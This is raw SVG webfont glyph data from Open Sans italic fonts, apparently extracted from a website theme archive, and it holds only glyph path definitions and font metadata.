<glyph unicode="&#xe0;" horiz-adv-x="1217" d="M90 385q0 198 72 377.5t189 278t257 98.5q97 0 167.5 -42t109.5 -122h8l57 143h232l-238 -1118h-229l14 145h-4q-134 -165 -319 -165q-147 0 -231.5 106.5t-84.5 298.5zM395 399q0 -88 33.5 -132t95.5 -44q69 0 133 67t103 181.5t39 259.5q0 71 -38.5 117.5t-101.5 46.5 q-68 0 -129.5 -72t-98 -190t-36.5 -234zM443 1548v21h311q36 -148 115 -303v-25h-184q-71 69 -138.5 153.5t-103.5 153.5z" />
<glyph unicode="&#xe1;" horiz-adv-x="1217" d="M90 385q0 198 72 377.5t189 278t257 98.5q97 0 167.5 -42t109.5 -122h8l57 143h232l-238 -1118h-229l14 145h-4q-134 -165 -319 -165q-147 0 -231.5 106.5t-84.5 298.5zM395 399q0 -88 33.5 -132t95.5 -44q69 0 133 67t103 181.5t39 259.5q0 71 -38.5 117.5t-101.5 46.5 q-68 0 -129.5 -72t-98 -190t-36.5 -234zM598 1241v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5h-209z" />
<glyph unicode="&#xe2;" horiz-adv-x="1217" d="M90 385q0 198 72 377.5t189 278t257 98.5q97 0 167.5 -42t109.5 -122h8l57 143h232l-238 -1118h-229l14 145h-4q-134 -165 -319 -165q-147 0 -231.5 106.5t-84.5 298.5zM395 399q0 -88 33.5 -132t95.5 -44q69 0 133 67t103 181.5t39 259.5q0 71 -38.5 117.5t-101.5 46.5 q-68 0 -129.5 -72t-98 -190t-36.5 -234zM311 1240v25q63 57 153 147t142 156h338q22 -54 74 -142.5t102 -160.5v-25h-198q-63 53 -162 168q-105 -88 -232 -168h-217z" />
<glyph unicode="&#xe3;" horiz-adv-x="1217" d="M90 385q0 198 72 377.5t189 278t257 98.5q97 0 167.5 -42t109.5 -122h8l57 143h232l-238 -1118h-229l14 145h-4q-134 -165 -319 -165q-147 0 -231.5 106.5t-84.5 298.5zM395 399q0 -88 33.5 -132t95.5 -44q69 0 133 67t103 181.5t39 259.5q0 71 -38.5 117.5t-101.5 46.5 q-68 0 -129.5 -72t-98 -190t-36.5 -234zM333 1239q59 309 281 309q49 0 87.5 -16.5t71.5 -36t62 -35.5t60 -16q34 0 58 25.5t46 80.5h172q-66 -309 -287 -309q-49 0 -86.5 16.5t-69.5 36t-61.5 36t-62.5 16.5q-31 0 -55.5 -28t-38.5 -79h-177z" />
<glyph unicode="&#xe4;" horiz-adv-x="1217" d="M90 385q0 198 72 377.5t189 278t257 98.5q97 0 167.5 -42t109.5 -122h8l57 143h232l-238 -1118h-229l14 145h-4q-134 -165 -319 -165q-147 0 -231.5 106.5t-84.5 298.5zM395 399q0 -88 33.5 -132t95.5 -44q69 0 133 67t103 181.5t39 259.5q0 71 -38.5 117.5t-101.5 46.5 q-68 0 -129.5 -72t-98 -190t-36.5 -234zM397 1382q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5t-121 -43.5q-135 0 -135 110zM799 1382q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#xe5;" horiz-adv-x="1217" d="M90 385q0 198 72 377.5t189 278t257 98.5q97 0 167.5 -42t109.5 -122h8l57 143h232l-238 -1118h-229l14 145h-4q-134 -165 -319 -165q-147 0 -231.5 106.5t-84.5 298.5zM395 399q0 -88 33.5 -132t95.5 -44q69 0 133 67t103 181.5t39 259.5q0 71 -38.5 117.5t-101.5 46.5 q-68 0 -129.5 -72t-98 -190t-36.5 -234zM521 1477q0 109 68.5 173t179.5 64q110 0 182 -65t72 -170q0 -107 -70 -173.5t-184 -66.5q-110 0 -179 63.5t-69 174.5zM673 1477q0 -45 24 -71t72 -26q42 0 69.5 26t27.5 71t-27.5 70.5t-69.5 25.5t-69 -25.5t-27 -70.5z" />
<glyph unicode="&#xe6;" horiz-adv-x="1786" d="M90 385q0 200 68.5 375.5t185 277t258.5 101.5q96 0 160.5 -38.5t114.5 -125.5h6l57 143h188l-18 -90q44 49 120.5 80t168.5 31q157 0 246.5 -83.5t89.5 -221.5q0 -187 -167 -288.5t-476 -101.5h-52l-2 -19v-19q0 -96 55.5 -147.5t159.5 -51.5q66 0 152 23t162 63v-227 q-179 -86 -361 -86q-109 0 -179.5 27t-117.5 87l-16 -94h-188l14 145h-6q-71 -88 -146.5 -126.5t-167.5 -38.5q-146 0 -227.5 109t-81.5 296zM395 399q0 -84 32.5 -130t90.5 -46q72 0 134 68t99 184.5t37 243.5q0 80 -33 128t-102 48q-68 0 -128 -69t-95 -185.5t-35 -241.5z M1073 647h45q155 0 241.5 48.5t86.5 131.5q0 95 -105 95q-88 0 -166 -80t-102 -195z" />
<glyph unicode="&#xe7;" horiz-adv-x="989" d="M90 391q0 212 74.5 385.5t209.5 268t308 94.5q182 0 328 -72l-92 -229q-54 23 -106 40t-118 17q-85 0 -153.5 -64t-107 -175.5t-38.5 -239.5q0 -96 45.5 -144.5t126.5 -48.5q76 0 141 23.5t134 58.5v-246q-152 -79 -336 -79q-201 0 -308.5 107.5t-107.5 303.5zM184 -301 q63 -23 125 -23q102 0 102 82q0 34 -31 56.5t-110 31.5l96 154h185l-39 -72q141 -49 141 -178q0 -116 -83 -179t-234 -63q-86 0 -152 23v168z" />
<glyph unicode="&#xe8;" horiz-adv-x="1141" d="M90 412q0 207 82.5 377.5t223.5 260t319 89.5q177 0 276 -81.5t99 -223.5q0 -187 -167 -288.5t-477 -101.5h-51l-2 -21v-20q0 -91 51.5 -143.5t147.5 -52.5q87 0 158 19t172 67v-227q-172 -86 -390 -86q-210 0 -326 113t-116 319zM428 647h45q155 0 241.5 48.5 t86.5 131.5q0 95 -105 95q-88 0 -166 -80t-102 -195zM423 1548v21h311q36 -148 115 -303v-25h-184q-71 69 -138.5 153.5t-103.5 153.5z" />
<glyph unicode="&#xe9;" horiz-adv-x="1141" d="M90 412q0 207 82.5 377.5t223.5 260t319 89.5q177 0 276 -81.5t99 -223.5q0 -187 -167 -288.5t-477 -101.5h-51l-2 -21v-20q0 -91 51.5 -143.5t147.5 -52.5q87 0 158 19t172 67v-227q-172 -86 -390 -86q-210 0 -326 113t-116 319zM428 647h45q155 0 241.5 48.5 t86.5 131.5q0 95 -105 95q-88 0 -166 -80t-102 -195zM528 1241v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5h-209z" />
<glyph unicode="&#xea;" horiz-adv-x="1141" d="M90 412q0 207 82.5 377.5t223.5 260t319 89.5q177 0 276 -81.5t99 -223.5q0 -187 -167 -288.5t-477 -101.5h-51l-2 -21v-20q0 -91 51.5 -143.5t147.5 -52.5q87 0 158 19t172 67v-227q-172 -86 -390 -86q-210 0 -326 113t-116 319zM428 647h45q155 0 241.5 48.5 t86.5 131.5q0 95 -105 95q-88 0 -166 -80t-102 -195zM292 1241v25q63 57 153 147t142 156h338q22 -54 74 -142.5t102 -160.5v-25h-198q-63 53 -162 168q-105 -88 -232 -168h-217z" />
<glyph unicode="&#xeb;" horiz-adv-x="1141" d="M90 412q0 207 82.5 377.5t223.5 260t319 89.5q177 0 276 -81.5t99 -223.5q0 -187 -167 -288.5t-477 -101.5h-51l-2 -21v-20q0 -91 51.5 -143.5t147.5 -52.5q87 0 158 19t172 67v-227q-172 -86 -390 -86q-210 0 -326 113t-116 319zM428 647h45q155 0 241.5 48.5 t86.5 131.5q0 95 -105 95q-88 0 -166 -80t-102 -195zM365 1382q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5t-121 -43.5q-135 0 -135 110zM767 1382q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#xec;" horiz-adv-x="608" d="M37 0l237 1118h301l-237 -1118h-301zM153 1548v21h311q36 -148 115 -303v-25h-184q-71 69 -138.5 153.5t-103.5 153.5z" />
<glyph unicode="&#xed;" horiz-adv-x="608" d="M37 0l237 1118h301l-237 -1118h-301zM291 1241v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5h-209z" />
<glyph unicode="&#xee;" horiz-adv-x="608" d="M37 0l237 1118h301l-237 -1118h-301zM36 1241v25q63 57 153 147t142 156h338q22 -54 74 -142.5t102 -160.5v-25h-198q-63 53 -162 168q-105 -88 -232 -168h-217z" />
<glyph unicode="&#xef;" horiz-adv-x="608" d="M37 0l237 1118h301l-237 -1118h-301zM126 1382q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5t-121 -43.5q-135 0 -135 110zM528 1382q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#xf0;" horiz-adv-x="1182" d="M72 406q0 165 64.5 301t180.5 212t265 76q83 0 151.5 -31t114.5 -94h6q-20 213 -117 310l-231 -131l-88 147l200 113q-34 34 -124 80l118 186q134 -61 232 -139l237 131l76 -152l-192 -106q81 -107 113 -235t32 -279q0 -249 -69.5 -432.5t-203.5 -283t-323 -99.5 q-216 0 -329 110t-113 316zM375 377q0 -81 39 -126.5t114 -45.5q66 0 122.5 55.5t89 148.5t32.5 193q0 77 -38.5 122.5t-108.5 45.5q-73 0 -130 -53t-88.5 -143t-31.5 -197z" />
<glyph unicode="&#xf1;" horiz-adv-x="1237" d="M37 0l237 1118h230l-21 -207h6q146 228 355 228q138 0 213.5 -83.5t75.5 -238.5q0 -73 -23 -180l-133 -637h-301l137 653q16 68 16 119q0 123 -108 123q-92 0 -167 -114t-118 -318l-98 -463h-301zM358 1239q59 309 281 309q49 0 87.5 -16.5t71.5 -36t62 -35.5t60 -16 q34 0 58 25.5t46 80.5h172q-66 -309 -287 -309q-49 0 -86.5 16.5t-69.5 36t-61.5 36t-62.5 16.5q-31 0 -55.5 -28t-38.5 -79h-177z" />
<glyph unicode="&#xf2;" horiz-adv-x="1198" d="M90 410q0 213 71.5 379.5t206.5 258t316 91.5q196 0 310 -118t114 -325q0 -211 -70.5 -374t-203.5 -252.5t-316 -89.5q-195 0 -311.5 117.5t-116.5 312.5zM393 410q0 -185 150 -185q75 0 135 61.5t93.5 171t33.5 238.5q0 197 -143 197q-75 0 -134.5 -61t-97 -179 t-37.5 -243zM419 1548v21h311q36 -148 115 -303v-25h-184q-71 69 -138.5 153.5t-103.5 153.5z" />
<glyph unicode="&#xf3;" horiz-adv-x="1198" d="M90 410q0 213 71.5 379.5t206.5 258t316 91.5q196 0 310 -118t114 -325q0 -211 -70.5 -374t-203.5 -252.5t-316 -89.5q-195 0 -311.5 117.5t-116.5 312.5zM393 410q0 -185 150 -185q75 0 135 61.5t93.5 171t33.5 238.5q0 197 -143 197q-75 0 -134.5 -61t-97 -179 t-37.5 -243zM571 1241v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5h-209z" />
<glyph unicode="&#xf4;" horiz-adv-x="1198" d="M90 410q0 213 71.5 379.5t206.5 258t316 91.5q196 0 310 -118t114 -325q0 -211 -70.5 -374t-203.5 -252.5t-316 -89.5q-195 0 -311.5 117.5t-116.5 312.5zM393 410q0 -185 150 -185q75 0 135 61.5t93.5 171t33.5 238.5q0 197 -143 197q-75 0 -134.5 -61t-97 -179 t-37.5 -243zM300 1241v25q63 57 153 147t142 156h338q22 -54 74 -142.5t102 -160.5v-25h-198q-63 53 -162 168q-105 -88 -232 -168h-217z" />
<glyph unicode="&#xf5;" horiz-adv-x="1198" d="M90 410q0 213 71.5 379.5t206.5 258t316 91.5q196 0 310 -118t114 -325q0 -211 -70.5 -374t-203.5 -252.5t-316 -89.5q-195 0 -311.5 117.5t-116.5 312.5zM393 410q0 -185 150 -185q75 0 135 61.5t93.5 171t33.5 238.5q0 197 -143 197q-75 0 -134.5 -61t-97 -179 t-37.5 -243zM314 1239q59 309 281 309q49 0 87.5 -16.5t71.5 -36t62 -35.5t60 -16q34 0 58 25.5t46 80.5h172q-66 -309 -287 -309q-49 0 -86.5 16.5t-69.5 36t-61.5 36t-62.5 16.5q-31 0 -55.5 -28t-38.5 -79h-177z" />
<glyph unicode="&#xf6;" horiz-adv-x="1198" d="M90 410q0 213 71.5 379.5t206.5 258t316 91.5q196 0 310 -118t114 -325q0 -211 -70.5 -374t-203.5 -252.5t-316 -89.5q-195 0 -311.5 117.5t-116.5 312.5zM393 410q0 -185 150 -185q75 0 135 61.5t93.5 171t33.5 238.5q0 197 -143 197q-75 0 -134.5 -61t-97 -179 t-37.5 -243zM386 1382q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5t-121 -43.5q-135 0 -135 110zM788 1382q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#xf7;" d="M109 612v219h952v-219h-952zM444 373q0 76 37 113.5t103 37.5t102.5 -39t36.5 -112q0 -70 -37 -111t-102 -41t-102.5 39t-37.5 113zM444 1071q0 75 37 113.5t103 38.5q67 0 103 -40.5t36 -111.5q0 -70 -37 -110.5t-102 -40.5t-102.5 39t-37.5 112z" />
<glyph unicode="&#xf8;" horiz-adv-x="1198" d="M43 6l119 148q-72 107 -72 256q0 213 71.5 379.5t206.5 258t316 91.5q131 0 227 -56l70 88l145 -110l-84 -105q66 -107 66 -260q0 -211 -70.5 -374t-203.5 -252.5t-316 -89.5q-123 0 -225 53l-109 -135zM385 426l365 453q-35 24 -88 24q-81 0 -144.5 -62.5t-98 -169.5 t-34.5 -233v-12zM457 238q11 -8 35.5 -15.5t50.5 -7.5q114 0 193 133t79 318v16z" />
<glyph unicode="&#xf9;" horiz-adv-x="1237" d="M111 301q0 93 24 213l127 604h301l-137 -653q-16 -68 -16 -119q0 -123 108 -123q92 0 167 114t118 318l98 463h301l-237 -1118h-230l21 207h-6q-145 -227 -355 -227q-138 0 -211 82.5t-73 238.5zM419 1548v21h311q36 -148 115 -303v-25h-184q-71 69 -138.5 153.5 t-103.5 153.5z" />
<glyph unicode="&#xfa;" horiz-adv-x="1237" d="M111 301q0 93 24 213l127 604h301l-137 -653q-16 -68 -16 -119q0 -123 108 -123q92 0 167 114t118 318l98 463h301l-237 -1118h-230l21 207h-6q-145 -227 -355 -227q-138 0 -211 82.5t-73 238.5zM610 1241v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5 h-209z" />
<glyph unicode="&#xfb;" horiz-adv-x="1237" d="M111 301q0 93 24 213l127 604h301l-137 -653q-16 -68 -16 -119q0 -123 108 -123q92 0 167 114t118 318l98 463h301l-237 -1118h-230l21 207h-6q-145 -227 -355 -227q-138 0 -211 82.5t-73 238.5zM334 1241v25q63 57 153 147t142 156h338q22 -54 74 -142.5t102 -160.5v-25 h-198q-63 53 -162 168q-105 -88 -232 -168h-217z" />
<glyph unicode="&#xfc;" horiz-adv-x="1237" d="M111 301q0 93 24 213l127 604h301l-137 -653q-16 -68 -16 -119q0 -123 108 -123q92 0 167 114t118 318l98 463h301l-237 -1118h-230l21 207h-6q-145 -227 -355 -227q-138 0 -211 82.5t-73 238.5zM411 1382q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5 t-121 -43.5q-135 0 -135 110zM813 1382q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#xfd;" horiz-adv-x="1063" d="M-141 -233q68 -13 116 -13q84 0 147.5 48t117.5 149l26 49l-164 1118h295l56 -518q14 -122 14 -293h6q20 51 44 119.5t65 153.5l260 538h327l-680 -1278q-177 -332 -483 -332q-90 0 -147 19v240zM497 1241v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5 h-209z" />
<glyph unicode="&#xfe;" horiz-adv-x="1219" d="M-68 -492l435 2048h301l-66 -307q-29 -131 -80 -280h8q131 170 283 170q150 0 232.5 -106.5t82.5 -301.5q0 -199 -69 -381t-182 -276t-250 -94q-178 0 -271 163h-8q-12 -159 -43 -295l-72 -340h-301zM420 399q0 -80 33.5 -128t105.5 -48q69 0 129 65t97.5 183.5 t37.5 247.5q0 88 -37.5 132t-103.5 44q-71 0 -130 -65t-95.5 -184.5t-36.5 -246.5z" />
<glyph unicode="&#xff;" horiz-adv-x="1063" d="M-141 -233q68 -13 116 -13q84 0 147.5 48t117.5 149l26 49l-164 1118h295l56 -518q14 -122 14 -293h6q20 51 44 119.5t65 153.5l260 538h327l-680 -1278q-177 -332 -483 -332q-90 0 -147 19v240zM310 1382q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5 t-121 -43.5q-135 0 -135 110zM712 1382q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#x131;" horiz-adv-x="608" d="M37 0l237 1118h301l-237 -1118h-301z" />
<glyph unicode="&#x152;" horiz-adv-x="1845" d="M123 537q0 265 99 487.5t273 341.5t402 119q140 0 209 -23h809l-53 -254h-512l-68 -321h477l-55 -254h-477l-80 -377h512l-53 -256h-760q-93 -20 -180 -20q-256 0 -399.5 147.5t-143.5 409.5zM434 537q0 -147 66.5 -222t187.5 -75q88 0 158 32l194 916q-62 39 -168 39 q-121 0 -222 -91.5t-158.5 -251.5t-57.5 -347z" />
<glyph unicode="&#x153;" horiz-adv-x="1806" d="M90 414q0 216 69 380.5t200 254.5t309 90q209 0 313 -160q154 160 399 160q177 0 276 -81.5t99 -223.5q0 -187 -167 -288.5t-476 -101.5h-51l-2 -21v-20q0 -91 51 -143.5t147 -52.5q87 0 158 19t172 67v-227q-93 -46 -185.5 -66t-203.5 -20q-116 0 -208 38.5t-138 106.5 q-63 -68 -147 -106.5t-207 -38.5q-187 0 -297.5 117t-110.5 317zM393 414q0 -91 36.5 -140t109.5 -49q109 0 179 134.5t70 336.5q0 96 -37 146.5t-106 50.5q-71 0 -127 -60.5t-90.5 -176.5t-34.5 -242zM1094 647h45q155 0 241 48.5t86 131.5q0 95 -104 95 q-88 0 -165.5 -78.5t-102.5 -196.5z" />
<glyph unicode="&#x178;" horiz-adv-x="1155" d="M186 1462h312l129 -592l374 592h342l-618 -903l-119 -559h-303l119 559zM432 1720q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5t-121 -43.5q-135 0 -135 110zM834 1720q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5 q-135 0 -135 110z" />
<glyph unicode="&#x2c6;" horiz-adv-x="1135" d="M311 1241v25q63 57 153 147t142 156h338q22 -54 74 -142.5t102 -160.5v-25h-198q-63 53 -162 168q-105 -88 -232 -168h-217z" />
<glyph unicode="&#x2da;" horiz-adv-x="1182" d="M532 1477q0 109 68.5 173t179.5 64q110 0 182 -65t72 -170q0 -107 -70 -173.5t-184 -66.5q-110 0 -179 63.5t-69 174.5zM684 1477q0 -45 24 -71t72 -26q42 0 69.5 26t27.5 71t-27.5 70.5t-69.5 25.5t-69 -25.5t-27 -70.5z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1135" d="M315 1239q59 309 281 309q49 0 87.5 -16.5t71.5 -36t62 -35.5t60 -16q34 0 58 25.5t46 80.5h172q-66 -309 -287 -309q-49 0 -86.5 16.5t-69.5 36t-61.5 36t-62.5 16.5q-31 0 -55.5 -28t-38.5 -79h-177z" />
<glyph unicode="&#x2000;" horiz-adv-x="953" />
<glyph unicode="&#x2001;" horiz-adv-x="1907" />
<glyph unicode="&#x2002;" horiz-adv-x="953" />
<glyph unicode="&#x2003;" horiz-adv-x="1907" />
<glyph unicode="&#x2004;" horiz-adv-x="635" />
<glyph unicode="&#x2005;" horiz-adv-x="476" />
<glyph unicode="&#x2006;" horiz-adv-x="317" />
<glyph unicode="&#x2007;" horiz-adv-x="317" />
<glyph unicode="&#x2008;" horiz-adv-x="238" />
<glyph unicode="&#x2009;" horiz-adv-x="381" />
<glyph unicode="&#x200a;" horiz-adv-x="105" />
<glyph unicode="&#x2010;" horiz-adv-x="659" d="M41 424l53 250h524l-53 -250h-524z" />
<glyph unicode="&#x2011;" horiz-adv-x="659" d="M41 424l53 250h524l-53 -250h-524z" />
<glyph unicode="&#x2012;" horiz-adv-x="659" d="M41 424l53 250h524l-53 -250h-524z" />
<glyph unicode="&#x2013;" horiz-adv-x="983" d="M41 436l49 230h852l-49 -230h-852z" />
<glyph unicode="&#x2014;" horiz-adv-x="1966" d="M41 436l49 230h1835l-49 -230h-1835z" />
<glyph unicode="&#x2018;" horiz-adv-x="440" d="M115 983q103 227 262 479h225q-91 -213 -194 -501h-285z" />
<glyph unicode="&#x2019;" horiz-adv-x="440" d="M106 961q89 206 195 501h285l8 -22q-103 -227 -262 -479h-226z" />
<glyph unicode="&#x201a;" horiz-adv-x="569" d="M-102 -264q88 207 194 502h285l8 -23q-103 -227 -262 -479h-225z" />
<glyph unicode="&#x201c;" horiz-adv-x="887" d="M115 983q103 227 262 479h225q-91 -213 -194 -501h-285zM561 983q103 227 262 479h226q-97 -227 -195 -501h-285z" />
<glyph unicode="&#x201d;" horiz-adv-x="887" d="M106 961q89 206 195 501h285l8 -22q-103 -227 -262 -479h-226zM553 961q23 53 46.5 111t148.5 390h284l8 -22q-103 -227 -262 -479h-225z" />
<glyph unicode="&#x201e;" horiz-adv-x="1018" d="M-102 -264q88 207 194 502h285l8 -23q-103 -227 -262 -479h-225zM346 -264q24 57 49 118.5t146 383.5h284l9 -23q-100 -221 -263 -479h-225z" />
<glyph unicode="&#x2022;" horiz-adv-x="739" d="M104 686q0 106 42.5 194t120 136.5t182.5 48.5q120 0 182.5 -67t62.5 -191q0 -177 -91.5 -277t-248.5 -100q-117 0 -183.5 67t-66.5 189z" />
<glyph unicode="&#x2026;" horiz-adv-x="1706" d="M25 115q0 90 53.5 144t150.5 54q68 0 109 -38t41 -107q0 -87 -55 -141t-144 -54q-73 0 -114 37.5t-41 104.5zM586 115q0 90 53.5 144t150.5 54q68 0 109 -38t41 -107q0 -87 -55 -141t-144 -54q-73 0 -114 37.5t-41 104.5zM1147 115q0 90 53.5 144t150.5 54q68 0 109 -38 t41 -107q0 -87 -55 -141t-144 -54q-73 0 -114 37.5t-41 104.5z" />
<glyph unicode="&#x202f;" horiz-adv-x="381" />
<glyph unicode="&#x2039;" horiz-adv-x="664" d="M72 551v18l401 463l191 -155l-279 -334l135 -350l-246 -103z" />
<glyph unicode="&#x203a;" horiz-adv-x="664" d="M0 227l279 334l-136 350l246 103l203 -461v-18l-402 -463z" />
<glyph unicode="&#x2044;" horiz-adv-x="256" d="M-532 0l1087 1462h236l-1084 -1462h-239z" />
<glyph unicode="&#x205f;" horiz-adv-x="476" />
<glyph unicode="&#x2074;" horiz-adv-x="776" d="M47 737l31 174l475 557h260l-121 -563h119l-35 -168h-119l-32 -151h-238l33 151h-373zM281 905h174l58 231l22 74q-13 -20 -43 -58t-211 -247z" />
<glyph unicode="&#x20ac;" d="M41 481l37 178h127q9 67 22 115h-125l39 176h135q87 252 250.5 393.5t374.5 141.5q100 0 179 -23t165 -80l-125 -223q-87 49 -131 63.5t-90 14.5q-97 0 -176 -74.5t-135 -212.5h348l-39 -176h-360q-11 -34 -25 -115h299l-37 -178h-280q0 -120 44.5 -181.5t147.5 -61.5 q133 0 283 63v-258q-126 -63 -330 -63q-446 0 -446 501h-152z" />
<glyph unicode="&#x2122;" horiz-adv-x="1534" d="M106 1313v149h564v-149h-199v-572h-168v572h-197zM715 741v721h248l159 -510l170 510h240v-721h-168v408l4 121h-6l-174 -529h-141l-166 529h-7l5 -111v-418h-164z" />
<glyph unicode="&#xe000;" horiz-adv-x="1120" d="M0 1120h1120v-1120h-1120v1120z" />
<glyph unicode="&#xfb01;" horiz-adv-x="1352" d="M-219 -225q61 -21 115 -21q61 0 107 40t65 130l204 965h-163l30 145l183 84l18 84q41 190 138.5 277.5t273.5 87.5q131 0 235 -49l-80 -224q-69 31 -133 31q-57 0 -92 -40t-47 -105l-12 -62h219l-49 -229h-220l-215 -1010q-77 -371 -403 -371q-104 0 -174 25v242zM780 0 l237 1118h301l-237 -1118h-301zM1065 1380q0 87 47.5 131.5t134.5 44.5q73 0 111 -31t38 -89q0 -80 -44 -129.5t-136 -49.5q-151 0 -151 123z" />
<glyph unicode="&#xfb02;" horiz-adv-x="1352" d="M-219 -225q61 -21 115 -21q61 0 107 40t65 130l204 965h-163l30 145l183 84l18 84q41 190 138.5 277.5t273.5 87.5q131 0 235 -49l-80 -224q-69 31 -133 31q-57 0 -92 -40t-47 -105l-12 -62h219l-49 -229h-220l-215 -1010q-77 -371 -403 -371q-104 0 -174 25v242zM780 0 l330 1556h301l-330 -1556h-301z" />
<glyph unicode="&#xfb03;" horiz-adv-x="2048" d="M-219 -225q61 -21 115 -21q61 0 107 40t65 130l204 965h-163l30 145l183 84l18 84q41 190 138.5 277.5t273.5 87.5q131 0 235 -49l-80 -224q-69 31 -133 31q-57 0 -92 -40t-47 -105l-12 -62h395l18 84q41 190 138.5 277.5t273.5 87.5q131 0 235 -49l-79 -224 q-69 31 -134 31q-57 0 -91.5 -40t-47.5 -105l-12 -62h219l-49 -229h-219l-215 -1010q-77 -371 -404 -371q-104 0 -174 25v242q61 -21 115 -21q136 0 172 170l205 965h-396l-215 -1010q-77 -371 -403 -371q-104 0 -174 25v242zM1477 0l237 1118h301l-237 -1118h-301z M1761 1380q0 87 48 131.5t135 44.5q73 0 111 -31t38 -89q0 -80 -44 -129.5t-136 -49.5q-152 0 -152 123z" />
<glyph unicode="&#xfb04;" horiz-adv-x="2048" d="M-219 -225q61 -21 115 -21q61 0 107 40t65 130l204 965h-163l30 145l183 84l18 84q41 190 138.5 277.5t273.5 87.5q131 0 235 -49l-80 -224q-69 31 -133 31q-57 0 -92 -40t-47 -105l-12 -62h395l18 84q41 190 138.5 277.5t273.5 87.5q131 0 235 -49l-79 -224 q-69 31 -134 31q-57 0 -91.5 -40t-47.5 -105l-12 -62h219l-49 -229h-219l-215 -1010q-77 -371 -404 -371q-104 0 -174 25v242q61 -21 115 -21q136 0 172 170l205 965h-396l-215 -1010q-77 -371 -403 -371q-104 0 -174 25v242zM1477 0l329 1556h301l-329 -1556h-301z" />
</font>
</defs></svg> PK!�L�b�b�Cbluetheme/assets/fonts/OpenSans/OpenSans-SemiboldItalic-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>
This is a custom SVG webfont generated by Font Squirrel.
Copyright   : Digitized data copyright  20102011 Google Corporation
Foundry     : Ascender Corporation
Foundry URL : httpwwwascendercorpcom
</metadata>
<defs>
<font id="OpenSansSemiboldItalic" horiz-adv-x="1128" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="532" />
<glyph unicode=" "  horiz-adv-x="532" />
<glyph unicode="&#x09;" horiz-adv-x="532" />
<glyph unicode="&#xa0;" horiz-adv-x="532" />
<glyph unicode="!" horiz-adv-x="557" d="M33 96q0 80 45.5 130t130.5 50q57 0 91 -32.5t34 -93.5q0 -79 -47 -128t-123 -49q-62 0 -96.5 33.5t-34.5 89.5zM160 444l168 1018h272l-264 -1018h-176z" />
<glyph unicode="&#x22;" horiz-adv-x="858" d="M213 934l72 528h231l-151 -528h-152zM588 934l74 528h231l-152 -528h-153z" />
<glyph unicode="#" horiz-adv-x="1323" d="M51 418l17 168h280l84 286h-264l16 168h295l121 422h178l-121 -422h252l121 422h174l-121 -422h252l-14 -168h-285l-84 -286h271l-15 -168h-303l-121 -418h-180l123 418h-248l-121 -418h-174l117 418h-250zM526 586h250l82 286h-250z" />
<glyph unicode="$" d="M61 172v209q78 -42 179.5 -70t193.5 -30l84 387q-156 56 -223.5 138.5t-67.5 199.5q0 167 118.5 267.5t324.5 117.5l37 163h135l-35 -165q161 -16 289 -82l-86 -185q-134 66 -244 74l-80 -371q128 -51 186.5 -95t86.5 -101t28 -135q0 -172 -119.5 -277t-337.5 -125 l-45 -211h-135l45 211q-197 13 -334 80zM451 1016q0 -98 110 -139l68 319q-89 -11 -133.5 -57.5t-44.5 -122.5zM571 285q86 11 136.5 60t50.5 126q0 101 -115 145z" />
<glyph unicode="%" horiz-adv-x="1688" d="M141 872q0 166 53 313.5t142.5 222.5t208.5 75q127 0 193.5 -76t66.5 -221q0 -160 -55.5 -313.5t-146.5 -230.5t-206 -77q-124 0 -190 79t-66 228zM231 0l1086 1462h194l-1085 -1462h-195zM334 866q0 -135 80 -135q52 0 95.5 58t73 175.5t29.5 219.5q0 131 -82 131 q-55 0 -99 -61t-70.5 -173t-26.5 -215zM940 279q0 171 53 320t142.5 223.5t207.5 74.5q127 0 195 -75t68 -218q0 -161 -55.5 -315.5t-146.5 -231.5t-204 -77q-127 0 -193.5 76.5t-66.5 222.5zM1133 281q0 -134 81 -134q52 0 96 58.5t73.5 174.5t29.5 220q0 131 -84 131 q-52 0 -95.5 -57.5t-72 -171t-28.5 -221.5z" />
